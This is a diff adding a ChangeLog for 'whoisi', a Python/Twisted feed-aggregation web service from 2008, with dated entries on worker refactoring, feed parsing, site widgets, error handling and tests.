+       job thanks to the change to perspective broker (yay, return
+       values!)
+
+       * services/master/sitelock.py: New code that maintains a global
+       lock on which site has work being done in it.  It's attached to
+       the master process + object.  Uses a simple set to maintain which
+       sites currently have jobs attached to them.
+
+       * services/master/linkedin.py: Subclass from Command.
+
+       * services/master/flickr.py: Subclass from Command.
+
+       * services/master/worker.py Lots of changes to allow the Command
+       class to be a base class for commands on the backend.  Also
+       supports locking for sites so that we don't run more than one
+       command per site at the same time.  Also support return values to
+       the caller for a command.  We also support losing connections from
+       the perspective broker code and restarting jobs.  Important note:
+       re-adding to the worker queue happens from the lost connection
+       handler, not from the error code for an individual job where an
+       error is ignored.  Otherwise we can end up with more than one copy
+       of a job in the queue.
+
+2008-03-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py: Simple changes to support using
+       deferreds instead of a line-based protocol.
+
+       * services/master/worker.py: Tons of work here to use perspective
+       broker instead of line-based protocols.  Get rid of the
+       WorkerProtocol and use standard deferreds instead.  Gets the root
+       object from the worker and makes calls to a remote doCommand
+       method.  No change to the arguments or formats yet - that will
+       come later when we want to restructure a bit.  (Should move to a
+       method per type at some point.)  Support the worker going away by
+       catching pb.PBConnectionLost when a command returns an error.
+       Also catch bp.DeadReferenceError when we callRemote() to the
+       remote end (untested.)
+
+       * controller-service: Refactor code to return deferreds directly
+       and be a perspective broker service instead of having a custom
+       line-based service.  Much more sane now.
+
+       * services/protocol/controller.py: Removed because we replaced it
+       with the perspective broker code.
+
+2008-03-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.doCommand): Bug fix -
+       make sure that we pass the url as a str(), not unicode to make
+       sure that the DownloadCommand doesn't freak out.
+       (NewSiteTryURL.startSecondDownload): Same with not passing
+       unicode.
+       (NewSiteTryURL.getFeedType): Call urlparse.clear_cache() after
+       parsing the url - workaround as usual.
+
+       * services/command/twitter.py (Twitter.isTwitterURL): Bug fix -
+       call urlparse.clear_cache() to work around bugs in urlparse
+       module.
+
+       * whoisi/model.py (Person): Change the other_names to a
+       MultipleJoin() instead of being a RelatedJoin().  Just easier to
+       work with, even if you end up with more data.
+       (Name): Same as with Person - change to a ForeignKey() instead of
+       a RelatedJoin().
+
+       * whoisi/static/javascript/person.js: New support for js methods
+       to support name editing and alias addition and removal.
+
+       * whoisi/static/css/style.css: New style for div.other-names that
+       is for the alias display.
+
+       * whoisi/controllers.py: Support an optional 'mode' argument for
+       the person display method.  Right now it's either 'edit' or
+       defaults to 'full'.  New siteremove method.  New nameupdate
+       method.  New nameremove method.  New nameaddform method.  New
+       namedadd method.  All for supporting name editing and aliases.
+
+       * whoisi/templates/person.kid: Pass down the display value from
+       the controller so we know if we're editing or not.  Also don't
+       show the search form if we're editing a person.
+
+       * whoisi/widgets/widgets.py: New name_add_widget and
+       aliases_widget.
+
+       * whoisi/widgets/templates/person.kid: Lots of changes to support
+       editing of a person entry.  Remove the wikipedia entry that was
+       commented out.
+
+       * whoisi/widgets/templates/nameadd.kid: New form for editing a
+       person's primary name.  Only used during editing.
+
+       * whoisi/widgets/templates/aliases.kid: New widget to display
+       aliases - supports editing or display.
+
+       * whoisi/widgets/templates/twitter.kid: Support for 'edit'
+       display.
+
+       * whoisi/widgets/templates/picasa.kid: Support for 'edit' display.
+
+       * whoisi/widgets/templates/linkedin.kid: Support for 'edit'
+       display.
+
+       * whoisi/widgets/templates/weblog.kid: Support for 'edit' display.
+
+       * whoisi/widgets/templates/flickr.kid: Support for 'edit' display.
+
+2008-03-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * lib/feedparser.py: Patch that fixes <media:title> entries
+       overwriting global <title> setting.  Also see
+       http://code.google.com/p/feedparser/issues/detail?id=18
+
+2008-03-11  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * patches/feedparser-title.patch: Patch that fixes feeds with that
+       include <media:title> (like stuart.)
+
+       * patches/README: Description of patches.
+
+       * lib/feedparser.py: Add a local copy of feedparser 4.1 so we can
+       add some patches.  Sigh.
+
+       * feed-parse-service: Use the local copy of feedparser.
+
+2008-03-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/tests/one_entry.atom: New test feed with one item
+       in it - cribbed right from Wikipedia (so we know it's valid -
+       right?)
+
+       * whoisi/static/tests/relative_feed.html: New test page with a
+       relative URL to a feed.
+
+       * tests/twisted/network/test_newsite.py: New test that adds a feed
+       with a relative URL.
+
+       * services/command/newsite.py: Relative URL handling for feeds!
+       Yay!  Found an awesome bug in the urlparse code in python related
+       to the cache (basically it would return unicode typed strings when
+       parsing a non-unicode string in some cases.)  Also clean up the
+       way that we detect if a page has is a valid html file and how we
+       deal with it if it's not.
+
+       * services/command/download.py: Print out the url being downloaded
+       - useful for debugging!
+
+2008-03-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * html-feed-scrape-service: Only pull out link information if
+       we're inside the <head> element.  This keeps us from accidentally
+       picking up link information from other parts of the
+       document (especially if it happens to be an rss feed!) and leaving
+       us with false elements.  Frank Hecker's blog triggered this one. [
+       NEEDS TEST CASE. ]
+
+2008-03-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/summary.py: Code that probably needs test cases more than
+       anything else in the entire universe.  When calling output make
+       sure to call end_block() so that any leftover pieces are shoved
+       into a block.  This fixes display problems on spot's blog and
+       doesn't seem to affect other sites that I looked at (about 60 of
+       them in my personal database.)
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/worker.py: Add some cheap timings to each
+       command so we can start to get a sense of how long it takes to
+       process a job.
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (RefreshManager): Convert to
+       using DownloadCommand instead of FeedDownloadCommand.
+
+       * services/command/feedparse.py: Get rid of the
+       FeedDownloadCommand command and convert the one caller to use the
+       standard DownloadCommand.  It had awful error handling and wasn't
+       needed anyway.
+
+       * services/master/worker.py: Add very simple rate limiting to how
+       many jobs we send to a worker.  Limited to 10 jobs at once for
+       now.
+
+       * tests/twisted/network/test_feedrefresh.py: Add two more tests -
+       timeout and a 404 test.
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/linkedin.py (LinkedInUpdateCommand.insertDone):
+       Make sure to update the last_update field in the database whenever
+       there's a change in the data.
+
+       * tests/twisted/network/test_linkedin_refresh.py: Add checking for
+       update of lastUpdate on the model whenever there's an update of
+       the linkedin current data.  This should also fix the spurious
+       errors that happened when running some of the linkedin tests as
+       well.
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (PicasaRefreshManager): Add the
+       RefreshSiteError error handler.
+       
+       * tests/twisted/network/test_picasa_refresh.py: Add two test cases
+       for refreshing picasa - a success and a failure.
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (RefreshManager): Add the
+       RefreshSiteError error handler.
+
+       * tests/twisted/network/test_feedrefresh.py: Two tests added for a
+       feed refresh: one success and one failure.
+
+2008-03-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/javascript/person.js: Changes to support adding
+       the person from the header instead of from the bottom of a
+       person's display.  This actually simplifies the code a bit.  Also
+       fix a bonus bug I ran across where the site-add-pick code was
+       being run because I was checking for non-null instead of non-zero
+       array len.
+
+       * whoisi/controllers.py (Root.search): Pass down the person_widget
+       as one of the arguments.  (Can probably do this directly from the
+       person widget, but we'll fix all that up later.)
+
+       * whoisi/templates/search.kid: Instead of using our own home-grown
+       person display use the person widget and just pass down the
+       display type.  This also means we can add new sites directly from
+       the search page.
+
+       * whoisi/templates/person.kid: Add a display="full" argument to
+       the person widget when we're displaying the person.
+
+       * whoisi/widgets/widgets.py (PersonWidget): Add a "display"
+       argument to the person widget.
+
+       * whoisi/widgets/templates/person.kid: Move the "Add a New Site"
+       link to the top of the person display widget so that it's more
+       visible.  This also means that when you're adding a new site that
+       the editing is done at the top of the entry instead of the bottom
+       which feels much more natural.  Also add support for passing in
+       the display type so we can re-use this template from the search
+       page.  Fix the display of the person so it links to the actual
+       person's page instead of to nothing.
+
+2008-03-07  Bryan W Clark  <clarkbw@gnome.org>
+
+       * services/command/service.py (SubService): Removed the hardcoded
+       home directory "/home/blizzard/src/whoisi/" and did a path lookup
+       using the current flie.  We need the root directory so we have to
+       join the current file with 2 ".."'s.  Also needed to use the
+       os.path.join in the start function, replacing the self.dir +
+       self.name since now the self.dir doesn't have a needed trailing
+       slash for directory addition.
+
+2008-03-07  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL): Change the way that
+       we finish loading a feed.  In the case where someone gave us a url
+       that turned out to be html and we scraped out a feed we now handle
+       downloading that feed from NewSiteTryURL directly.  We used to
+       pass that off to another command, but that meant we created a
+       half-finished Site object which could leave a mess behind.  Now we
+       don't create the Site object unless we know that we got a valid
+       URL and a valid RSS feed.  Also clean up the way that we set "url"
+       and "feed_url" so that it's consistent before we hit tryFeed
+       and/or createSite.  This fixes not only the site creation bug but
+       also means that we properly return errors whenever someone passes
+       us an invalid URL or an invalid/unreadable feed.  Yay!
+
+       * services/command/controller.py (NewSiteManager): Remove the
+       FeedDownloadCommand - we do that from inside of NewSiteTryURL
+       instead.
+
+2008-03-06  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (Site.getOrderedHistory): Add a second sort that
+       will sort by the 'touched' column.  This is for blogs (I AM
+       LOOKING AT YOU LUKE MACKEN) that don't have any date information
+       in their feeds.
+
+2008-03-06  Christopher Blizzard  <blizzard@0xdeadbeef.com>    
+
+       * services/command/newsite.py (NewSiteTryURL.loadDone): Use an
+       exception to generate the need_pick signal when adding a new site.
+       This will use the new exception and pass the feed data up to the
+       handler through the exception's data member.  Remove the
+       needPick() method and handlers as they are not needed anymore.
+       (NewSiteError.handleError): Add code to handle the need pick
+       exception and update the new_site table with the right data.  Also
+       add a different callback that will return success from the error
+       handler.  (Confused yet?)
+
+       * services/command/base.py (CommandManager.subSuccess): Sweep away
+       the final remnants of the Old Republic by removing the state
+       "stop" and "error" checks.  If we want to stop or generate an
+       error we use exceptions.  Like adults.
+
+       * tests/twisted/network/test_newsite.py: New test for returning
+       multiple feeds and making sure they are valid.
+
+2008-03-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/flickr.kid: Add size information to the
+       image so that there's some feedback before images finish loading
+       and it doesn't just look like a blank empty space.
+
+       * whoisi/widgets/templates/picasa.kid: Same.
+
+2008-03-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/tests/*: Add some files for testing errors in the
+       new site code.
+
+       * services/command/controller.py (NewSiteManager): Add the error
+       handler to the new site code.  Yay!
+
+       * services/command/exceptions.py (InvalidFeedError): New exception
+       for an invalid exception.
+
+       * services/command/newsite.py: Convert old state["error"] style
+       error handling to the new twisted errback handling.  In the
+       process fix a couple of bugs.  Some errors like an invalid url
+       actually return an error now.  Invalid RSS needs work as the test
+       cases reveal.
+
+       * tests/twisted/network/test_newsite.py: Add some tests for
+       loading an page not found, a test for loading a page with no feed
+       in it, a test for a link to a feed that's invalid and a direct
+       link to an invalid feed.  Right now the html page -> invalid test
+       still fails because it turns out the code is broken (and it's in
+       the todo list.)
+
+2008-03-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Change the order of
+       display so that the "7 minutes ago" comes after the message, just
+       like every other type of element.
+
+2008-03-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/display.py (confirm_escape): Add html entities to
+       the possible escape list - see shaver's blog.
+
+2008-03-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.getFeedType): Fix bug
+       where I wasn't passing the url to isTwitterURL - breaking adding
+       new sites.
+
+2008-03-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/nose/test_newsite.py: Add simple tests that test the
+       preferredURL handling for twitter.
+
+       * services/command/newsite.py (NewSiteTryURL.loadDone): Add hooks
+       to get the preferred feed when there's a list of feeds.
+       (NewSiteTryURL.getPreferredFeed): Actual code that picks the right
+       feed.  This is the hook where we should add version stuff too.
+       Most feeds have common names (Atom, Atom 1.0, RSS, RSS 0.9) and
+       they are all very regular - should be easy to figure out the feed
+       we should be using automatically.  We could also just drop
+       anything with the word "comment" in it.
+
+       * services/command/twitter.py: New file for twitter-related
+       command stuff.  Right now it just contains a helper class that
+       lets you detect if you're looking at a twitter url and a class
+       that will pick out the preferred feed from a list of twitter
+       feeds.
+
+2008-03-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/display.py (confirm_escape): New function that
+       looks at a string and makes sure it's escaped.  Yes, this should
+       go in on the backend but a python stack trace is always sad-making
+       no matter what.
+
+       * whoisi/widgets/templates/weblog.kid: Make sure that urls and
+       titles are escaped.
+
+2008-03-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_download.py: New 307 test case.
+
+       * services/command/feedparse.py (FeedDownloadCommand.doCommand):
+       Use localDownloadPage instead of the one in the twisted web
+       client.
+
+       * services/command/download.py: Make a localDownloadPage method
+       that's a copy of downloadPage found in the twisted web client api.
+       We need to do this because we need to add a 307 handler.  Phik's
+       blog for some reason returns a 307 for the feed and it was just
+       erroring out.  As Joe points out, that's probably not valid for a
+       HTTP/1.0 request like twisted makes, but whatever.  We should
+       handle it.
+
+2008-03-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.getFeedType): Fix bug
+       where urls like 'flickr.com/photos/...' weren't being recognized
+       as flickr feeds.
+
+2008-03-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Make sure to pass the
+       display="full" to the widgets.
+
+       * whoisi/widgets/templates/twitter.kid: Display param.
+
+       * whoisi/widgets/templates/picasa.kid: Display param.
+
+       * whoisi/widgets/templates/weblog.kid: Display param.
+
+       * whoisi/widgets/templates/linkedin.kid: Display param.
+
+       * whoisi/widgets/templates/flickr.kid: Display param.
+
+       * whoisi/widgets/widgets.py: Change all the widgets to support the
+       "display" param.  (Probably not needed, but it's here anyway.)
+
+       * whoisi/widgets/templates/personadd.kid: Move code to render the
+       person add text from this widget as it's used in the search with
+       results as well as without now.
+
+       * whoisi/templates/index.kid: -> whoisi.com
+
+       * whoisi/templates/search.kid: Lots of code and look changes so
+       that the search results are pleasing.  We render sites for people
+       now using the new display="search" param to a site render widget.
+       I also added code that toggles the "Add X not found here" add
+       field so we can add people from the search page.
+
+       * whoisi/controllers.py: Add code that passes down a
+       "display=full" to sites when they are being rendered from a new
+       site result.  Otherwise we just get the summaries when we've added
+       a new site.
+
+2008-03-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_feedparse.py: Add a pile of notes
+       about what we need to add here for tests.
+
+       * tests/twisted/local/test_feedparse.py: Two tests that test at a
+       very high level parsing and updating the database.  Right now
+       there are some simple assertions to make sure that data is being
+       put into the database and that the right number of entries is
+       there.  Not comprehensive at all.  Also contains a test with a
+       feed without IDs in it to test that code in the feedparser.py
+       module.  Similarly incomplete, but it did find some bugs in the
+       code I wrote.  Data for this test in the data/ dir.
+       
+       * whoisi/model.py: Add a note about what lastUpdate means to the
+       Site object.  Add a 'touched' value to the SiteHistory object.
+
+       * services/command/database.py: We no longer catch database error
+       when they happen and try to reconnect to the database.  The
+       underlying bindings seem to do this whenever the server goes away
+       anyway.  And it didn't work.
+
+       * services/command/feedparse.py: Lots of changes here with a few
+       goals: we only update items when there's an actual change.  We
+       also set a 'touched' timestamp on a site_history item when we make
+       an insert or update on it.  We also support feeds that don't
+       include IDs (which would have broken us _badly_.)  Also should be
+       a lot more robust in a lot of areas.  Also, when we're doing a set
+       of inserts + updates we also handle errors at the database level a
+       lot more gracefully.  Had to re-read the docs on DeferredList a
+       few times.  In the past last_update on the site object used to be
+       compared to the feed last update and we would use it to skip the
+       entire update process.  I don't trust feeds to do that right, so
+       we're using it instead as a "last time something changed on the
+       site" timestamp.  We only update it when we do an insert or update
+       on the site_history.
+
+2008-02-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_picasa.py: New tests for picasa
+       additions.  Just a simple success + failure test for now.
+
+       * services/command/feedparse.py: Just some formatting cleanups.
+
+       * services/command/service.py (ParseProcess.lineReceived): Make
+       sure to return twisted failure objects instead of strings.  If we
+       got a string that we recognize from the subprocess, don't keep
+       looking for matches.  If an error returns an arg, pass it along
+       with the exception.
+
+       * services/command/picasa.py (Picasa.userForPath): Remove dead
+       code that had a return before it - it was never called.
+
+       * services/command/newsite.py (NewSiteError.handleError): Fix bug
+       where we were adding the callback to the wrong deferred.  (How did
+       this ever work?)
+
+       * services/command/exceptions.py (ServiceSubprocessError): New
+       exception that's thrown when we have a subprocess failure of some
+       kind.
+
+       * services/command/controller.py (NewPicasaManager): Add the
+       NewSiteError error handler.
+
+2008-02-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand): Bug
+       fix.  We added some columns to the site_history table and we do
+       have a bit of code that does select * and then picks off data by
+       offset.  So flickr photos were coming up with bogus data in their
+       display cache.
+
+2008-02-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_linkedin_refresh.py: Add a check to
+       make sure that the lastPoll value in the model is set after we do
+       a refresh.
+
+       * services/command/siterefresh.py (RefreshSiteDone): Add code so
+       that we update last_poll in the database after we're done with a
+       refresh.  Needs site_id set in the state, which all of the refresh
+       commands do.
+
+2008-02-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/linkedin.py: Convert our update command to use
+       "site_id" instead of "id" in the state so we can use it later to
+       update the database.
+
+2008-02-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/feedparse.py (FeedRefreshSetup): Take the site
+       refresh id and get the site id before finishing.  Also save the
+       site refresh id so that we can use it to update the database
+       later.
+
+       * services/master/database.py (DatabaseManager.startRefresh):
+       Change calling convention to just pass down the id, not the
+       site_id.
+
+       * services/master/feedrefresh.py (FeedRefresh.startProcess): Don't
+       update the database when we're done with a refresh - that's up to
+       the controller now.
+
+       * services/command/controller.py (RefreshManager): Use the
+       RefreshSiteDone() call to update our status when we're done with a
+       refresh.
+
+2008-02-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.createSite): Set the
+       "created" time when adding a site.
+
+       * services/command/picasa.py (PicasaCreateCommand.doCommand): Set
+       the "created" time when adding a site.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand): Set
+       the time for the "added" field when adding a site history entry.
+
+       * whoisi/model.py (Site): Add a "created" field to the site so we
+       know when it was added to the database.
+
+2008-02-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (PicasaRefreshManager): Add the
+       RefreshSiteDone() command to the end of the chain - it updates the
+       state in the database.
+
+       * services/command/picasa.py: Use the site_refresh id instead of
+       the site id.  Requires looking up the site.  Store that id in the
+       state as site_refresh_id which is used when we're done with a
+       refresh to set the done or error state.
+
+       * services/master/database.py: Pass down the id of the
+       site_refresh, not the id of the site.
+
+       * services/master/picasa.py: Use site_refresh id instead of the
+       site id when telling the controller to start a refresh for picasa.
+
+2008-02-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/siterefresh.py: New file that contains some
+       commands related to refreshing sites.  RefreshSiteDone() and
+       RefreshSiteError() know how to update the site_refresh table with
+       the right status.
+
+       * services/command/controller.py (LinkedInRefreshManager): Add an
+       error handler.  Call RefreshSiteDone() once we're done with a
+       refresh to update the database with a "done" flag.
+
+       * services/command/linkedin.py (RefreshLinkedInSetup): Add another
+       call to the database to translate the site_refresh_id to the
+       site_id.  We save the site_refresh_id in the state because it's
+       used in the error and complete case once the linkedin refresh is
+       done.
+       (LinkedInScrapeCommand.doCommand): Testing hooks to test
+       add/change/delete when we parse linkedin entries.
+       
+       * services/master/database.py (DatabaseManager.startRefresh): Only
+       pass the id of the refresh, not the site id.
+
+       * services/master/linkedin.py: Change the way we start a linkedin
+       refresh to use the refresh id instead of the site id.  This way
+       the controller can update the status once it's done with something
+       useful (an error, for example) instead of it being done in the
+       master code.  Stop updating the site_refresh table from the
+       linkedin code.  Will do the other refreshes later.
+
+       * whoisi/model.py (SiteRefresh): Add an 'error' field so we can
+       save what kind of error we had.  Will be used later.
+
+       * tests/twisted/network/test_linkedin.py: Bug fix in
+       confirmCreateTimes() - make sure to assert that we have a site
+       before calling sync() on it.
+       
+       * tests/twisted/network/test_linkedin_refresh.py: Set of tests for
+       testing linkedin refreshes.  Simple tests so far that test a
+       simple success, a failure, no changes, an addition, and a
+       deletion.  Also checks to make sure that the current entry has not
+       changed and that the changelog that's created contains accurate
+       information.
+
+2008-02-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/local/test_newsite.py: New site test moved to the
+       network tests.
+
+       * tests/twisted/local/test_commandmanager.py: Tests for the
+       command manager.  Tests what happens if you raise an exception
+       from a command or throw an errback.  Has success tests as well.
+
+       * tests/twisted/network/test_download.py: Add a check for
+       RUN_LONG_TESTS before running the connection timeout test.  Will
+       display [SKIPPED] if it's being skipped.
+
+       * tests/twisted/network/test_newsite.py: One simple test that adds
+       a new site and tries to run it to completion.  Needs tons and tons
+       more tests.
+
+       * tests/twisted/network/test_linkedin.py: New tests that test
+       adding a new linkedin site.  Includes pretty good coverage, but
+       far from complete.  Tests a lot of error conditions as well by
+       poking errors into the command manager.
+
+       * runtests.sh: Set a variable RUN_LOG_TESTS=1 if you want a long
+       test to run (connection timeouts, etc.)
+
+       * services/command/controller.py (NewLinkedInManager): Add
+       NewSiteError as the error_handler on the manager.
+
+       * services/command/newsite.py (NewSiteError): New class that is
+       the error handler for newsite style commands.  Only used by the
+       linkedin new code so far.  Will set the "error" flag for a new
+       site based on the original id that was passed into the command
+       manager.
+
+       * services/command/download.py: the DownloadCommand now handles a
+       couple of test states that will cause test failures.  It will also
+       return a proper Failure object if a call or download fails.
+
+       * services/command/linkedin.py: Adding a new linkedin site now has
+       proper error checking and test cases.  Yay!  Lots of use of the
+       getTest(0 call to generate errors in a lot of places.  Inserting a
+       new site now properly sets the dates on the site object.
+
+       * services/command/exceptions.py: New file that contains
+       exceptions used by commands.  Just contains a PageNotFoundError
+       exception so far.
+
+       * services/command/base.py: Solid error handling for the
+       CommandManager class.  You can now set a error_handler on the
+       command manager that will be called when there's an exception or
+       failure.  We now properly handle direct exceptions from doCommand
+       calls to subcommands and properly handle errbacks and callbacks
+       from subcommands.  Subcommands are now required to return proper
+       Failure objects via twisted.  You can also poke a value into the
+       "testfail" state in order to generate failures in commands.  Also
+       the BaseCommand class now has a getTest() method that will return
+       the testfail value.
+
+       * whoisi/model.py (Site): Add 'created' column so we can know when
+       a site was added.
+       
+2008-02-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/local/test_newsite.py: First unit test for the
+       entire NewSiteManager code.  Many more to follow.
+
+       * tests/twisted/network/test_download.py: Unit tests for the
+       download code.  Test some various connection failures, DNS lookup
+       failures and a commented out connection timed out error.  Really
+       just testing the framework more than the code itself.
+
+       * start-test-db.py: Startup script for creating a new, clean test
+       database and starting it up.  Need this for automated tests.
+
+       * start-test-whoisi.sh: Startup script for starting a test
+       instance of the web server.  Used for running autmated tests.
+
+       * services/command/newsite.py: Minor changes - move the deferred
+       creation to __init__ and comment out some debug spew.
+
+       * services/command/base.py (BaseCommand.doCommand): Change the
+       signature to require a state that's passed in.  Everyone uses it,
+       might as well change the base signature.
+
+       * services/command/download.py: Change the download command to be
+       a little more like the other commands.  If there's an error in
+       doCommand() directly try to catch it and still pass it as part of
+       an errback so we don't need any special handling.  Use callbacks
+       that are member methods instead of global functions so we can use
+       the right errback as well.
+
+       * services/command/database.py: Add an arg to the
+       DatabaseCommandManager startup code that takes the connection
+       parameters to be used.
+
+       * controller-service: Add code to pass in the connection type to
+       the DatabaseCommandManager - needed to connect to test databases.
+
+2008-02-16  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * controller-service: Moved code to controller.py.
+
+       * services/command/controller.py: Move code from
+       controller-service to this file so that we can build tests aroudn
+       it.  controller-service is a very simple chunk of code now.
+
+       * services/command/download.py (DownloadCommand.doCommand): If
+       someone doesn't pass in the url as an argument then try and get it
+       from the state instead.  Need to fix this later and have one way
+       to do it.
+
+       * services/master/newsite.py (NewSite.normalize): Add code to
+       recognize a linkedin.com/pub/ style public url.
+
+       * whoisi/utils/flickr.py: Make sure to escape the title for an
+       image - it can contain html and make the xhtml stuff in tg freak
+       out.
+
+       * tests/nose/test_newsite.py (TestNewSite.test_linkedin): Add a
+       test for the linkedin.com/pub/* style url.
+
+2008-02-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * feed-parse-service (FeedParseProtocol.runCommand): Make sure to
+       set an empty "display_cache" item on an entry item.
+
+       * whoisi/widgets/templates/person.kid: Add support for picasa.
+
+       * whoisi/widgets/templates/picasa.kid: Template for picasa
+       widgets.  Pretty similar to the flickr widget.
+
+       * whoisi/widgets/templates/flickr.kid: Render 10 images (two rows)
+       instead of one.
+
+       * whoisi/widgets/widgets.py: New code to support the picasa
+       widgets.
+
+       * whoisi/utils/sites.py (site_value): Add picasa after flickr in
+       the order of sites as they are rendered.
+
+       * whoisi/utils/picasa.py (picasa_get_summary): Not sure we need
+       this.  Return a summary or "" if there isn't one.
+
+       * whoisi/controllers.py: Render the picasa widget when someone has
+       it in their feed.
+
+       * tests/nose/test_newsite.py: Code to test linkedin and picasa new
+       sites.  Make sure that picasa urls are parsed into usernames
+       properly.
+
+       * picasa-poll-service: New service that will get the picasa data
+       feeds and parse out the updates.  Largely a wrapper for code in
+       the picasa command.
+
+       * services/command/picasa.py: New picasa commands and support.
+       Parse usernames into urls.  Code that will also parse the output
+       from a google data feed and output it into the same format that
+       the feedupdate command will suck into the database.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.doCommand):
+       
+       Add a new state "feed_parsed_filename" that lets us pass in a
+       filename instead of just passing it in as an arg to the command.
+       Fix issues where an update will remove cached display_info that's
+       stored in the row.
+
+       * services/master/database.py: New code to support picasa.
+
+       * services/master/picasa.py: New class to handle picasa refreshes.
+
+       * services/master/newsite.py: Remove bogus docs.  Delete code that
+       called startPoll() - that code hasn't existed for a while.  Add
+       support for picasa.
+
+       * controller-service: Support for picasa feeds.
+
+2008-02-06  Christopher Blizzard <blizzard@0xdeadbeef.com>
+
+       * Add linkedin widget for display.
+
+       * Add support to all the services to refresh linkedin
+       pages (different than feeds.)
+
+2008-02-05  Christopher Blizzard <blizzard@0xdeadbeef.com>
+
+       * Add support for twitter to the feed and display code.
+
+       * Start adding code to support linkedin.
+
+       * Start adding some simple test cases to start testing the
+       linkedin code which is not done yet.  This is a huge chunk of
+       code.  Most everything is in tests/ - need to support nose-style
+       and trial-style tests.
+
+2008-01-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.feedLoadDone): Fix
+       bug where the link that's included in a feed isn't used to update
+       the URL in the database.
+
+       * whoisi/widgets/templates/weblog.kid: Move the widget into its
+       own div so we can put properties on the link-collection-item div.
+       We'll use this at some point in the future once weblog items
+       contain images.
+
+       * whoisi/widgets/templates/flickr.kid: Put the widget in its own
+       <div> that is removed so we can put properties on the
+       link-collection-item div.  Use the new thumbnails helper function
+       to fill in known thumbnails.
+
+       * whoisi/utils/flickr.py (flickr_fill_thumbnails): Helper function
+       for the flickr widget that's used to figure out which thumbnails
+       are found and which ones aren't.
+
+       * whoisi/source/flickr-blank-75x75.svg: Source image for the
+       "blank" flickr image that's used when we don't have the thumbnail
+       location yet.
+
+       * whoisi/controllers.py (Root.rendersite): Add new method that
+       takes a site and finds the right widget to render it.
+       (Root.siteaddstatus): Use the rendersite method to pick the right
+       kind of render widget so we can support more than just weblogs.
+       (Root.siterefresh): Super-simple method that just returns a
+       link-collection-item based on the id.  Used by the JS refresh code.
+
+       * whoisi/static/css/style.css: Fix long-standing typo
+       "margin-botton" -> "margin-bottom."
+
+       * whoisi/static/javascript/person.js: Add code so that we can use
+       console.log in production code.  When we're adding a new site and
+       we've finished loading look to see if we need to refresh it after
+       the fact for images, etc.  Needed for the new flickr code and will
+       eventually be needed when we add images to the blog entries.  New
+       prototype class "RefreshSite" that handles updating one
+       link-collection-item on a person page.  Automatically add it
+       during page load to any l-c-i that contains needs-refresh="True"
+       on the item.  Also needs the site-id set as a property on the
+       l-c-i.
+
+2008-01-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.feedLoadDone): Update
+       the site url from the feed link.  This was a bug that I found when
+       reading the code.
+       (NewSiteTryURL.createSite): When creating the site make sure that
+       we get the feed type.  Default is "feed".
+       (NewSiteTryURL.getFeedType): New method that looks at the urls
+       that are being passed in and returns a feed type.
+
+       * services/command/flickr.py: New file that has code that caches
+       thumbnail urls for flickr images.
+
+       * services/master/database.py (DatabaseManager): New support for
+       polling flickr images to get thumbnail urls.
+
+       * services/master/newsite.py (NewSite.normalize): Dead code that
+       identifies flickr - I'm leaving here for historical purposes.
+
+       * LEGAL.txt (flickr): Notes about flickr terms of service and API
